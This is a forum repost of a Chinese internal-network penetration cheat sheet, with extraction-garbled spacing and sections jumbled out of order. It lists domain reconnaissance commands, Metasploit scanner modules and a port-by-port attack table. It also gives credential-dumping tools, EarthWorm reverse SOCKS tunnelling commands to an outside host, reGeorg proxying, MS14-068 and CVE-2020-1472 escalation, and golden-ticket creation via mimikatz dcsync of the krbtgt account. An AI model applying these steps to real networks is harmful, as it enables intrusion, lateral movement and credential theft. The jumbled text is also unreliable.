搜索

[22188] 2021-07-26_内网渗透相关总结

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-18
2021-07-26_内网渗透相关总结 内 网 渗 透 相 关 总 结 L e m o n S e c   2 0 2 1 - 0 7 - 2 6 转 自 系 统 安 全 运 维   每 日 分 享 技 术 文 章 与 工 具 0 x 0 1 .   信 息 收 集 信 息 收 集 1 . 常 见 信 息 收 集 命 令 常 见 信 息 收 集 命 令 # i p c o n f i g : # n e t : # d s q u e r y 2 . 第 三 方 信 息 收 集 第 三 方 信 息 收 集 3 . 内 网 主 动 扫 描 相 关 内 网 主 动 扫 描 相 关 i p c o n f i g   / a l l   - - - - - - >   查 询 本 机   I P   段 ， 所 在 域 等 n e t   u s e r   - - - - - - >   本 机 用 户 列 表 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   - - - - - - >   本 机 管 理 员 [ 通 常 含 有 域 用 户 ] n e t   u s e r   / d o m a i n   - - - - - - >   查 询 域 用 户 n e t   g r o u p   / d o m a i n   - - - - - - >   查 询 域 里 面 的 工 作 组 n e t   g r o u p   " d o m a i n   a d m i n s "   / d o m a i n   - - - - - - >   查 询 域 管 理 员 用 户 组 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   / d o m a i n   - - - - - - >   登 录 本 机 的 域 管 理 员 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   w o r k g r o u p u s e r 0 0 1   / a d d   - - - - - > 域 用 户 添 加 到 本 机   n e t   g r o u p   " D o m a i n   c o n t r o l l e r s "   - - - - - - - >   查 看 域 控 制 器 ( 如 果 有 多 台 ) n e t   v i e w   - - - - - - >   查 询 同 一 域 内 机 器 列 表   n e t   v i e w   / d o m a i n   - - - - - - >   查 询 域 列 表 n e t   v i e w   / d o m a i n : d o m a i n n a m e d s q u e r y   c o m p u t e r   d o m a i n r o o t   - l i m i t   6 5 5 3 5   & &   n e t   g r o u p   " d o m a i n c o m p u t e r s "   / d o m a i n   - - - - - - >   列 出 该 域 内 所 有 机 器 名 d s q u e r y   u s e r   d o m a i n r o o t   - l i m i t   6 5 5 3 5   & &   n e t   u s e r   / d o m a i n - - - - - - > 列 出 该 域 内 所 有 用 户 名 d s q u e r y   s u b n e t   - - - - - - > 列 出 该 域 内 网 段 划 分 d s q u e r y   g r o u p   & &   n e t   g r o u p   / d o m a i n   - - - - - - > 列 出 该 域 内 分 组   d s q u e r y   o u   - - - - - - > 列 出 该 域 内 组 织 单 位   d s q u e r y   s e r v e r   & &   n e t   t i m e   / d o m a i n - - - - - - > 列 出 该 域 内 域 控 制 器           N E T B I O S   信 息 收 集         S M B   信 息 收 集         空 会 话 信 息 收 集         漏 洞 信 息 收 集 等 1 . n m a p   等 工 具 扫
描 2 . m s f 自 带 模 块 扫 描 M S F 内 网 渗 透   扫 描 模 块 端 口 扫 描 a u x i l i a r y / s c a n n e r / p o r t s c a n s c a n n e r / p o r t s c a n / a c k                 A C K 防 火 墙 扫 描 s c a n n e r / p o r t s c a n / f t p b o u n c e     F T P 跳 端 口 扫 描 s c a n n e r / p o r t s c a n / s y n                 S Y N 端 口 扫 描 s c a n n e r / p o r t s c a n / t c p                 T C P 端 口 扫 描 s c a n n e r / p o r t s c a n / x m a s               T C P " X M a s " 端 口 扫 描 S M B 扫 描 s m b 枚 举 a u x i l i a r y / s c a n n e r / s m b / s m b _ e n u m u s e r s 返 回 D C E R P C 信 息 a u x i l i a r y / s c a n n e r / s m b / p i p e _ d c e r p c _ a u d i t o r 扫 描 S M B 2 协 议 a u x i l i a r y / s c a n n e r / s m b / s m b 2 扫 描 s m b 共 享 文 件 a u x i l i a r y / s c a n n e r / s m b / s m b _ e n u m s h a r e s 枚 举 系 统 上 的 用 户 a u x i l i a r y / s c a n n e r / s m b / s m b _ e n u m u s e r s S M B 登 录 a u x i l i a r y / s c a n n e r / s m b / s m b _ l o g i n S M B 登 录 u s e   w i n d o w s / s m b / p s e x e c ( 通 过 m d 5 值 登 录 ) 扫 描 组 的 用 户 a u x i l i a r y / s c a n n e r / s m b / s m b _ l o o k u p s i d 扫 描 系 统 版 本 a u x i l i a r y / s c a n n e r / s m b / s m b _ v e r s i o n m s s q l 扫 描 ( 端 口 t c p 1 4 3 3 u d p 1 4 3 4 ) a d m i n / m s s q l / m s s q l _ e n u m           M S S Q L 枚 举 a d m i n / m s s q l / m s s q l _ e x e c           M S S Q L 执 行 命 令 a d m i n / m s s q l / m s s q l _ s q l             M S S Q L 查 询 s c a n n e r / m s s q l / m s s q l _ l o g i n     M S S Q L 登 陆 工 具 s c a n n e r / m s s q l / m s s q l _ p i n g       测 试 M S S Q L 的 存 在 和 信 息 另 外 还 有 一 个 m s s q l _ p a y l o a d 的 模 块   利 用 使 用 的 s m t p 扫 描 s m t p 枚 举 a u x i l i a r y / s c a n n e r / s m t p / s m t p _ e n u m 扫 描 s m t p 版 本 a u x i l i a r y / s c a n n e r / s m t p / s m t p _ v e r s i o n s n m p 扫 描 通 过 s n m p 扫 描 设 备 a u x i l i a r y / s c a n n e r / s n m p / c o m m u n i t y s s h 扫 描
4 . 常 见 端 口 与 服 务 常 见 端 口 与 服 务 s s h 登 录 a u x i l i a r y / s c a n n e r / s s h / s s h _ l o g i n s s h 公 共 密 钥 认 证 登 录 a u x i l i a r y / s c a n n e r / s s h / s s h _ l o g i n _ p u b k e y 扫 描 s s h 版 本 测 试 a u x i l i a r y / s c a n n e r / s s h / s s h _ v e r s i o n t e l n e t 扫 描 t e l n e t 登 录 a u x i l i a r y / s c a n n e r / t e l n e t / t e l n e t _ l o g i n 扫 描 t e l n e t 版 本 a u x i l i a r y / s c a n n e r / t e l n e t / t e l n e t _ v e r s i o n t f t p 扫 描 扫 描 t f t p 的 文 件 a u x i l i a r y / s c a n n e r / t f t p / t f t p b r u t e f t p 版 本 扫 描 s c a n n e r / f t p / a n o n y m o u s A R P 扫 描 a u x i l i a r y / s c a n n e r / d i s c o v e r y / a r p _ s w e e p 扫 描 U D P 服 务 的 主 机 a u x i l i a r y / s c a n n e r / d i s c o v e r y / u d p _ p r o b e 检 测 常 用 的 U D P 服 务 a u x i l i a r y / s c a n n e r / d i s c o v e r y / u d p _ s w e e p s n i f f e r 密 码 a u x i l i a r y / s n i f f e r / p s n u f f l e s n m p 扫 描 s c a n n e r / s n m p / c o m m u n i t y v n c 扫 描 无 认 证 扫 描 s c a n n e r / v n c / v n c _ n o n e _ a u t h 3 . C o b a l t   S t r i k e 扫 描           本 身 支 持 的 a r p   i c m p 等 协 议 扫 描         各 种 丰 富 的 第 三 方 插 件 （ 注 意 安 全 ） 根 据 需 求 各 取 所 需 ， 比 如 L a d o n ， t a o w u 等 等 。 。 。 。 。 。 3 . 脚 本 扫 描     p s ， p y , r u b y , p h p ， J a v a ， a s p 等 等 各 种 支 持 当 前 环 境 的 扫 描 脚 本 |   端 口 号   |   端 口 说 明   |   攻 击 技 巧   | | - - - - - - - - | - - - - - - - - | - - - - - - - - | | 2 1 / 2 2 / 6 9   | f t p / t f t p ： 文 件 传 输 协 议   | 爆 破 嗅 探 溢 出 后 门 | | 2 2   | s s h ： 远 程 连 接   | 爆 破 O p e n S S H ； 2 8 个 退 格 | | 2 3   | t e l n e t ： 远 程 连 接   | 爆 破 嗅 探 | | 2 5   | s m t p ： 邮 件 服 务   | 邮 件 伪 造 | | 5 3     | D N S ： 域 名 系 统   | D N S 区 域 传 输 D N S 劫 持 D N S 缓 存 投 毒 D N S 欺 骗 利 用 D N S 隧 道 技 术 刺 透 防 火 墙 | | 6 7 / 6 8   | d h c p   | 劫 持 欺 骗 | | 1 1 0   | p o p 3   | 爆 破 | | 1 3 9   | s a m b a   | 爆 破 未 授 权 访 问 远 程 代 码 执 行 | | 1 4 3   | i m a p   | 爆 破 | | 1 6 1   | s n m p   | 爆 破 | | 3 8 9   | l d a p   | 注 入 攻 击 未 授 权 访 问 |
5 . 内 网 拓 扑 架 构 分 析 内 网 拓 扑 架 构 分 析 6 . 主 机 信 息 收 集 主 机 信 息 收 集 | 4 4 5   | S M B   | 远 程 代 码 执 行 | | 5 1 2 / 5 1 3 / 5 1 4   | l i n u x   r | 直 接 使 用 r l o g i n | | 8 7 3   | r s y n c   | 未 授 权 访 问 | | 1 0 8 0   | s o c k e t   | 爆 破 ： 进 行 内 网 渗 透 | | 1 3 5 2   | l o t u s   | 爆 破 ： 弱 口 令 信 息 泄 漏 ： 源 代 码 | | 1 4 3 3   | m s s q l   | 爆 破 ： 使 用 系 统 用 户 登 录 注 入 攻 击 | | 1 5 2 1   | o r a c l e   | 爆 破 ： T N S 注 入 攻 击 | | 2 0 4 9   | n f s   | 配 置 不 当 | | 2 1 8 1   | z o o k e e p e r   | 未 授 权 访 问 | | 3 3 0 6   | m y s q l   | 爆 破 拒 绝 服 务 注 入 | | 3 3 8 9   | r d p   | 爆 破 S h i f t 后 门 | | 4 8 4 8   | g l a s s f i s h   | 爆 破 ： 控 制 台 弱 口 令 认 证 绕 过 | | 5 0 0 0   | s y b a s e / D B 2   | 爆 破 注 入 | | 5 4 3 2   | p o s t g r e s q l   | 缓 冲 区 溢 出 注 入 攻 击 爆 破 ： 弱 口 令 | | 5 6 3 2   | p c a n y w h e r e   | 拒 绝 服 务 代 码 执 行 | | 5 9 0 0   | v n c   | 爆 破 ： 弱 口 令 认 证 绕 过 | | 6 3 7 9   | r e d i s   | 未 授 权 访 问 爆 破 ： 弱 口 令 | | 7 0 0 1   | w e b l o g i c   | J a v a 反 序 列 化 控 制 台 弱 口 令 控 制 台 部 署 w e b s h e l l | | 8 0 / 4 4 3 / 8 0 8 0   | w e b   | 常 见 w e b 攻 击 控 制 台 爆 破 对 应 服 务 器 版 本 漏 洞 | | 8 0 6 9   | z a b b i x   | 远 程 命 令 执 行 | | 9 0 8 0   | w e b s p h e r e   | 远 程 命 令 执 行 | 9 0 9 0   | w e b s p h e r e 控 制 台   | 爆 破 ： 控 制 台 弱 口 令 J a v a 反 序 列 | | 9 2 0 0 / 9 3 0 0   | e l a s t i c s e a r c h   | 远 程 代 码 执 行 | | 1 1 2 1 1   | m e m c a c a c h e   | 未 授 权 访 问 | | 2 7 0 1 7   | m o n g o d b   | 爆 破 未 授 权 访 问 | D M Z 管 理 网 生 产 网 测 试 网 1 、 用 户 列 表
0 x 0 2 .   常 用 工 具 与 代 理 相 关 常 用 工 具 与 代 理 相 关 1 . 代 理 分 类 代 理 分 类 w i n d o w s 用 户 列 表   分 析 邮 件 用 户 ， 内 网 [ 域 ] 邮 件 用 户 ， 通 常 就 是 内 网 [ 域 ] 用 户 2 、 进 程 列 表 析 杀 毒 软 件 / 安 全 监 控 工 具 等   邮 件 客 户 端   V P N   f t p 等 3 、 服 务 列 表 与 安 全 防 范 工 具 有 关 服 务 [ 判 断 是 否 可 以 手 动 开 关 等 ]   存 在 问 题 的 服 务 [ 权 限 / 漏 洞 ] 4 、 端 口 列 表 开 放 端 口 对 应 的 常 见 服 务 / 应 用 程 序 [ 匿 名 / 权 限 / 漏 洞 等 ]   利 用 端 口 进 行 信 息 收 集 5 、 补 丁 列 表 分 析   W i n d o w s   补 丁   第 三 方 软 件 [ J a v a / O r a c l e / F l a s h   等 ] 漏 洞 6 、 本 机 共 享 本 机 共 享 列 表 / 访 问 权 限   本 机 访 问 的 域 共 享 / 访 问 权 限 7 、 本 用 户 习 惯 分 析 历 史 记 录   收 藏 夹   文 档 等 8 、 获 取 当 前 用 户 密 码 工 具 W i n d o w s       m i m i k a t z       w c e       I n v o k e - W C M D u m p       m i m i D b g       L a Z a g n e       n i r s o f t _ p a c k a g e       Q u a r k s P w D u m p   f g d u m p       星 号 查 看 器 等 L i n u x       L a Z a g n e       m i m i p e n g u i n 代 理 服 务 器 ( P r o x y S e r v e r ) 是 网 络 信 息 的 中 转 站 ， 它 接 收 客 户 端 的 访 问 请 求 ， 并 以 自 己 的 身 份 转 发 此 请 求 。 对 于 接 收 信 息 的 一 方 而 占 ， 就 像 代 理 服 务 器 向 它 提 出 请 求 一 样 ， 从 而 保 护 了 客 户 端 ， 增 加 了 反 向 追 踪 的 难 度 。 根 据 代 理 服 务 的 功 能 划 分 ， 代 理 服 务 器 可 以 分 为 : h t t p 代 理 服 务 器 、 s o c k s 代 理 服 务 器 、 V P N 代 理 服 务 器 等 。 h t t p 代 理 ：         h t t p 代 理 服 器 是 一 种 最 常 见 的 代 理 服 务 器 ， 它 的 优 点 是 响 应 速 度 快 、 延 迟 相 对 较 低 及 数 量 众 多 ， 如 ： R e d u h 、 T u n n a 、 r e G e o r g 、 W e e v e l y 、 A B P T T S ， 通 常 不 费 吹 灰 之 力 就 町 以 找 到 一 个 不 错 的 h t t p 代 理 服 务 器 。 不 过 ， 它 的 缺 点 也 比 较 明 显 ， 仅 能 响 应 h t t p 通 信 协 议 ， 并 滤 除 8 0 、 8 0 8 0 等 W e b 常 用 端 口 外 的 其 他 端 口 访 问 请 求         举 例 ： r e G e o r g , 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / s e n s e p o s t / r e G e o r g ， 将 r e G e o r g , 上 传 到 服 务 端 。 直 接 访 问 上 传 的 r e G e o r g 文 件 , 提 示 “ G e o r g   s a y s ,   ' A l l   s e e m s   f i n e ' ” , 则 为 正 常 ， 然 后 用 在 客 户 端 使 用 命 令 行 ， 运 行 p y 程 序 ： p y t h o n   r e G e o r g S o c k s P r o x y . p y   - p   8 0 8 0   - u   h t t p :   / / w w w . X X X . c o m / t u n n e l . j s p ， 接 下 来 只 要 使 用 S o c k s 5 的 工 具 , 将 代 理 指 向 1 2 7 . 0 . 0 . 1 : 8 0 8 0 , 就 可 以 了 S o c k s 代 理 服 务 器 ：         S o c k 5 代 理 服 务 器 最 常 用 。 它 对 访 问 协 议 、 访 问 端 口 方 面 均 没 有 限 制 ， 可 以 转 发 各 种 协 议 的 通 信 请 求 。 常 见 工 具 ：
F r p ， E a r t h w o r m ，   S s o c k s ， m s f 做 s o c k s 代 理 ， C o b a l t S t r i k e 做 s o c k s 4 a 代 理                 E W （ E a r t h W o r m ） 使 用 ：         正 向   S O C K S   v 5   服 务 器 :         . / e w   - s   s s o c k s d   - l   1 0 8 0                 反 弹   S O C K S   v 5   服 务 器 :         a )   先 在 一 台 具 有 公 网   i p   的 主 机 A 上 运 行 以 下 命 令 ：         $   . / e w   - s   r c s o c k s   - l   1 0 8 0   - e   8 8 8 8           b )   在 目 标 主 机 B 上 启 动   S O C K S   v 5   服 务   并 反 弹 到 公 网 主 机 的   8 8 8 8 端 口         $   . / e w   - s   r s s o c k s   - d   1 . 1 . 1 . 1   - e   8 8 8 8                   多 级 级 联         $   . / e w   - s   l c x _ l i s t e n   - l   1 0 8 0   - e   8 8 8 8         $   . / e w   - s   l c x _ t r a n   - l   1 0 8 0   - f   2 . 2 . 2 . 3   - g   9 9 9 9         $   . / e w   - s   l c x _ s l a v e   - d   1 . 1 . 1 . 1   - e   8 8 8 8   - f   2 . 2 . 2 . 3   - g   9 9 9 9                 l c x _ t r a n   的 用 法         $   . / e w   - s   s s o c k s d   - l   9 9 9 9         $   . / e w   - s   l c x _ t r a n   - l   1 0 8 0   - f   1 2 7 . 0 . 0 . 1   - g   9 9 9 9                 l c x _ l i s t e n 、 l c x _ s l a v e   的 用 法         $   . / e w   - s   l c x _ l i s t e n   - l   1 0 8 0   - e   8 8 8 8         $   . / e w   - s   s s o c k s d   - l   9 9 9 9         $   . / e w   - s   l c x _ s l a v e   - d   1 2 7 . 0 . 0 . 1   - e   8 8 8 8   - f   1 2 7 . 0 . 0 . 1   - g   9 9 9 9         “ 三 级 级 联 ” 的 本 地 S O C K S 测 试 用 例 以 供 参 考         $   . / e w   - s   r c s o c k s   - l   1 0 8 0   - e   8 8 8 8         $   . / e w   - s   l c x _ s l a v e   - d   1 2 7 . 0 . 0 . 1   - e   8 8 8 8   - f   1 2 7 . 0 . 0 . 1   - g   9 9 9 9         $   . / e w   - s   l c x _ l i s t e n   - l   9 9 9 9   - e   7 7 7 7         $   . / e w   - s   r s s o c k s   - d   1 2 7 . 0 . 0 . 1   - e   7 7 7 7         V P N 代 理 服 务 器         常 见 v p n   协 议 ： P P T P ， L 2 T P ， I P S e c ， S S L V P N ， O p e n V P N ， 搭 建 工 具 推 荐 ： h t t p s : / / g i t h u b . c o m / h w d s l 2 / s e t u p - i p s e c - v p n ， h t t p s : / / g i t h u b . c o m / S o f t E t h e r V P N / S o f t E t h e r V P N
2 . M E T A S P L O I T 简 单 使 用 简 单 使 用 m s f 简 单 使 用 :   1 . h t t p s : / / w w w . f r e e b u f . c o m / n e w s / 2 1 0 2 9 2 . h t m l   2 . h t t p s : / / w w w . j i a n s h u . c o m / p / 1 a d b a b e c d c b d 3 . C o b a l t   S t r i k e 简 单 使 用 简 单 使 用 c s 简 单 使 用 ： 1 . h t t p s : / / w w w . f r e e b u f . c o m / c o m p a n y - i n f o r m a t i o n / 1 6 7 4 6 0 . h t m l 2 . h t t p s : / / w w w . j i a n s h u . c o m / p / 8 d 8 2 3 a d b c 6 b 5 0 x 0 3 .   非 域 渗 透 非 域 渗 透 端 口 扫 描         1 . 端 口 的 指 纹 信 息 （ 版 本 信 息 ）         2 . 端 口 所 对 应 运 行 的 服 务         3 . 常 见 的 默 认 端 口 号         4 . 尝 试 弱 口 令 端 口 爆 破 h y d r a 端 口 弱 口 令         N T S c a n         H s c a n         自 写 脚 本 端 口 溢 出 s m b         m s 0 8 0 6 7         m s 1 7 0 1 0         m s 1 1 0 5 8         . . . a p a c h e   f t p   . . . 常 见 的 默 认 端 口 1 、 w e b 类 ( w e b 漏 洞 / 敏 感 目 录 ) 第 三 方 通 用 组 件 漏 洞 :   s t r u t s   t h i n k p h p   j b o s s   g a n g l i a   z a b b i x   . . . 8 0   w e b   8 0 - 8 9   w e b   8 0 0 0 - 9 0 9 0   w e b   2 、 数 据 库 类 ( 扫 描 弱 口 令 ) 1 4 3 3   M S S Q L   1 5 2 1   O r a c l e   3 3 0 6   M y S Q L   5 4 3 2   P o s t g r e S Q L   5 0 0 0 0   D B 2 3 、 特 殊 服 务 类 ( 未 授 权 / 命 令 执 行 类 / 漏 洞 ) 4 4 3   S S L 心 脏 滴 血   4 4 5   m s 0 8 0 6 7 / m s 1 1 0 5 8 / m s 1 7 0 1 0 等   8 7 3   R s y n c 未 授 权   5 9 8 4   C o u c h D B   h t t p : / / x x x : 5 9 8 4 / _ u t i l s /   6 3 7 9   r e d i s 未 授 权  
0 x 0 4 .   域 渗 透 域 渗 透 1 . 域 信 息 收 集 域 信 息 收 集 6 3 7 9   r e d i s 未 授 权   7 0 0 1 , 7 0 0 2   W e b L o g i c 默 认 弱 口 令 ， 反 序 列   9 2 0 0 , 9 3 0 0   e l a s t i c s e a r c h   参 考 W o o Y u n :   多 玩 某 服 务 器 E l a s t i c S e a r c h 命 令 执 行 漏 洞   1 1 2 1 1   m e m c a c h e 未 授 权 访 问   2 7 0 1 7 , 2 7 0 1 8   M o n g o d b 未 授 权 访 问   5 0 0 0 0   S A P 命 令 执 行   5 0 0 7 0 , 5 0 0 3 0   h a d o o p 默 认 端 口 未 授 权 访 问   4 、 常 用 端 口 类 ( 扫 描 弱 口 令 / 端 口 爆 破 ) 2 1   f t p   2 2   S S H   2 3   T e l n e t   4 4 5   S M B 弱 口 令 扫 描   2 6 0 1 , 2 6 0 4   z e b r a 路 由 ， 默 认 密 码 z e b r a   3 3 8 9   远 程 桌 面   常 用 收 集 域 信 息 命 令 i p c o n f i g   / a l l   - - - - - -   查 询 本 机 I P 段 ， 所 在 域 等 n e t   u s e r   - - - - - -   本 机 用 户 列 表 n e t   l o c a l h r o u p   a d m i n i s t r a t o r s   - - - - - -   本 机 管 理 员 [ 通 常 含 有 域 用 户 ] n e t   u s e r   / d o m a i n   - - - - - -   查 询 域 用 户 n e t   g r o u p   / d o m a i n   - - - - - -   查 询 域 里 面 的 工 作 组 n e t   g r o u p   “ d o m a i n   a d m i n s ”   / d o m a i n   - - - - - -   查 询 域 管 理 员 用 户 组 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   / d o m a i n   - - - - - -   登 录 本 机 的 域 管 理 员 n e t   l o c a l g r o u p   a d m i n i s t r a t o r s   w o r k g r o u p u s e r 0 0 1   / a d d   - - - - - - 域 用 户 添 加 到 本 机 n e t   g r o u p   “ d o m a i n   c o n t r o l l e r s ”   / d o m a i n   - - - - - -   查 看 域 控 制 器 ( 如 果 有 多 台 ) n e t   t i m e   / d o m a i n   - - - - - -   判 断 主 域 ， 主 域 服 务 器 都 做 时 间 服 务 器 n e t   c o n f i g   w o r k s t a t i o n   - - - - - -   当 前 登 录 域 n e t   s e s s i o n   - - - - - -   查 看 当 前 会 话 n e t   u s e   i p i p c $   p a w w o r d   / u s e r : u s e r n a m e   - - - - - -   建 立 I P C 会 话 [ 空 连 接 - * * * ] n e t   s h a r e   - - - - - -   查 看 S M B 指 向 的 路 径 [ 即 共 享 ] n e t   v i e w   - - - - - -   查 询 同 一 域 内 机 器 列 表 n e t   v i e w   i p   - - - - - -   查 询 某 I P 共 享 n e t   v i e w   / d o m a i n   - - - - - -   查 询 域 列 表 n e t   v i e w   / d o m a i n : d o m a i n n a m e   - - - - - -   查 看 w o r k g r o u p 域 中 计 算 机 列 表 n e t   s t a r t   - - - - - -   查 看 当 前 运 行 的 服
务 n e t   a c c o u n t s   - - - - - -   查 看 本 地 密 码 策 略 n e t   a c c o u n t s   / d o m a i n   - - - - - -   查 看 域 密 码 策 略 n b t s t a t   – A   i p   - - - - - - n e t b i o s   查 询 n e t s t a t   – a n / a n o / a n b   - - - - - -   网 络 连 接 查 询 r o u t e   p r i n t   - - - - - -   路 由 表 d s q u e r y   c o m p u t e r   - - - - -   f i n d s   c o m p u t e r s   i n   t h e   d i r e c t o r y . d s q u e r y   c o n t a c t   - - - - -   f i n d s   c o n t a c t s   i n   t h e d i r e c t o r y . d s q u e r y   s u b n e t   - - - - -   f i n d s   s u b n e t s   i n   t h e d i r e c t o r y . d s q u e r y   g r o u p   - - - - -   f i n d s   g r o u p s   i n   t h e d i r e c t o r y . d s q u e r y   o u   - - - - -   f i n d s   o r g a n i z a t i o n a l u n i t s   i n   t h e   d i r e c t o r y . d s q u e r y   s i t e   - - - - -   f i n d s   s i t e s   i n   t h e d i r e c t o r y . d s q u e r y   s e r v e r   - - - - -   f i n d s   d o m a i n   c o n t r o l l e r s   i n t h e   d i r e c t o r y . d s q u e r y   u s e r   - - - - -   f i n d s   u s e r s   i n   t h e d i r e c t o r y . d s q u e r y   q u o t a   - - - - -   f i n d s   q u o t a   s p e c i f i c a t i o n s i n   t h e   d i r e c t o r y . d s q u e r y   p a r t i t i o n   - - - - -   f i n d s   p a r t i t i o n s   i n   t h e d i r e c t o r y . d s q u e r y   *   - - - - -   f i n d s   a n y   o b j e c t   i n t h e   d i r e c t o r y   b y   u s i n g   a   g e n e r i c   L D A P   q u e r y . d s q u e r y   s e r v e r   – d o m a i n   Y a h o o . c o m   |   d s g e t   s e r v e r – d n s n a m e   – s i t e   — 搜 索 域 内 域 控 制 器 的 D N S 主 机 名 和 站 点 名 d s q u e r y   c o m p u t e r   d o m a i n r o o t   – n a m e   - x p   – l i m i t   1 0 - - - - -   搜 索 域 内 以 - x p 结 尾 的 机 器 1 0 台 d s q u e r y   u s e r   d o m a i n r o o t   – n a m e   a d m i n   - l i m i t   - - - -   搜 索 域 内 以 a d m i n 开 头 的 用 户 1 0 个 t a s k l i s t   / V   - - - - -   查 看 进 程 [ 显 示 对 应 用 户 ] t a s k l i s t   / S   i p   / U   d o m a i n u s e r n a m e   / P   / V   - - - - -   查 看 远 程 计 算 机 进 程 列 表 q p r o c e s s   *   - - - - -   类 似 t a s k l i s t q p r o c e s s   / S E R V E R : I P   - - - - -   远 程 查 看 计 算 机 进 程 列 表 n s l o o k u p   – q t - M X   Y a h o o . c o m   - - - - -   查 看 邮 件 服 务 器 w h o a m i   / a l l   - - - - -   查 询 当 前 用 户 权 限 等 s e t   - - - - -   查 看 系 统 环 境 变 量 s y s t e m i n f o   - - - - -   查 看 系 统 信 息 q w i n s t a   - - - - -   查 看 登 录 情 况 q w i n s t a   / S E R V E R : I P   - - - - -   查 看 远 程 登 录 情 况
2 . 常 规 渗 透 思 路 常 规 渗 透 思 路 G o l d e n T i c k e t f s u t i l   f s i n f o   d r i v e s   - - - - -   查 看 所 有 盘 符 g p u p d a t e   / f o r c e   - - - - -   更 新 域 策 略 w m i c   b i o s   - - - - -   查 看 b i o s 信 息 w m i c   q f e   - - - - -   查 看 补 丁 信 息 w m i c   q f e   g e t   h o t f i x i d   - - - - -   查 看 补 丁 - P a t c h 号 w m i c   s t a r t u p   - - - - -   查 看 启 动 项 w m i c   s e r v i c e   - - - - -   查 看 服 务 w m i c   o s   - - - - -   查 看 O S 信 息 w m i c   p r o c e s s   g e t   c a p t i o n , e x e c u t a b l e p a t h , c o m m a n d l i n e w m i c   p r o c e s s   c a l l   c r e a t e   “ p r o c e s s _ n a m e ”   ( e x e c u t e s   a   p r o g r a m ) w m i c   p r o c e s s   w h e r e   n a m e = ” p r o c e s s _ n a m e ”   c a l l   t e r m i n a t e   ( t e r m i n a t e s   p r o g r a m ) w m i c   l o g i c a l d i s k   w h e r e   d r i v e t y p e = 3   g e t   n a m e ,   f r e e s p a c e ,   s y s t e m n a m e ,   f i l e s y s t e m ,   s i z e , v o l u m e s e r i a l n u m b e r   ( h a r d   d r i v e   i n f o r m a t i o n ) w m i c   u s e r a c c o u n t   ( u s e r n a m e s ,   s i d ,   a n d   v a r i o u s   s e c u r i t y   r e l a t e d   g o o d i e s ) w m i c   u s e r a c c o u n t   g e t   / A L L w m i c   s h a r e   g e t   / A L L   ( y o u   c a n   u s e   ?   f o r   g e t s   h e l p   !   ) w m i c   s t a r t u p   l i s t   f u l l   ( t h i s   c a n   b e   a   h u g e   l i s t ! ! ! ) w m i c   / n o d e : “ h o s t n a m e ”   b i o s   g e t   s e r i a l n u m b e r   ( t h i s   c a n   b e   g r e a t   f o r   f i n d i n g   w a r r a n t y   i n f o   a b o u t   t a r g e t )         通 过 域 成 员 主 机 ， 定 位 出 域 控 制 器 I P 及 域 管 理 员 账 号 ， 利 用 域 成 员 主 机 作 为 跳 板 ， 扩 大 渗 透 范 围 ， 利 用 域 管 理 员 可 以 登 陆 域 中 任 何 成 员 主 机 的 特 性 ， 定 位 出 域 管 理 员 登 陆 过 的 主 机 I P ， 设 法 从 域 成 员 主 机 内 存 中 d u m p 出 域 管 理 员 密 码 ， 进 而 拿 下 域 控 制 器 、 渗 透 整 个 内 网         在 域 渗 透 过 程 如 果 发 现 域 管 理 员 的 密 码 已 经 修 改 ， 可 尝 试 利 用 k r b t g t 用 户 的 历 史 h a s h 来 进 行 票 据 传 递 攻 击 ， k r b t g t 用 户 的 密 码 一 般 不 会 有 人 去 修 改         域 渗 透 过 程 中 可 能 会 使 用 到 M S 1 4 - 0 6 8 这 个 漏 洞 ， 利 用 该 漏 洞 可 以 将 任 何 一 个 域 用 户 提 权 至 域 管 理 员 权 限         域 渗 透 较 新 的 C V E - 2 0 2 0 - 1 4 7 2 实 战 效 果 也 还 不 错         G o l d e n   T i c k e t （ 下 面 称 为 金 票 ） 是 通 过 伪 造 的 T G T （ T i c k e t G r a n t i n g   T i c k e t ） ， 因 为 只 要 有 了 高 权 限 的 T G T ， 那 么 就 可 以 发 送 给 T G S 换 取 任 意 服 务 的 S T 。 可 以 说 有 了 金 票 就 有 了 域 内 的 最 高 权 限         制 作 金 票 的 条 件 ：         1 、 域 名 称         2 、 域 的 S I D 值         3 、 域 的 K R B T G T 账 户 密 码 H A S H         4 、 伪 造 用 户 名 ， 可 以 是 任 意 的         利 用 过 程         金 票 的 生 成 需 要 用 到 k r b t g t 的 密 码 H A S H 值 ， 可 以 通 过 m i m i k a t z 中 的 l s a d u m p : : d c s y n c   / t e s t . t e s t . o r g   / u s e r : k r b t g t  
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理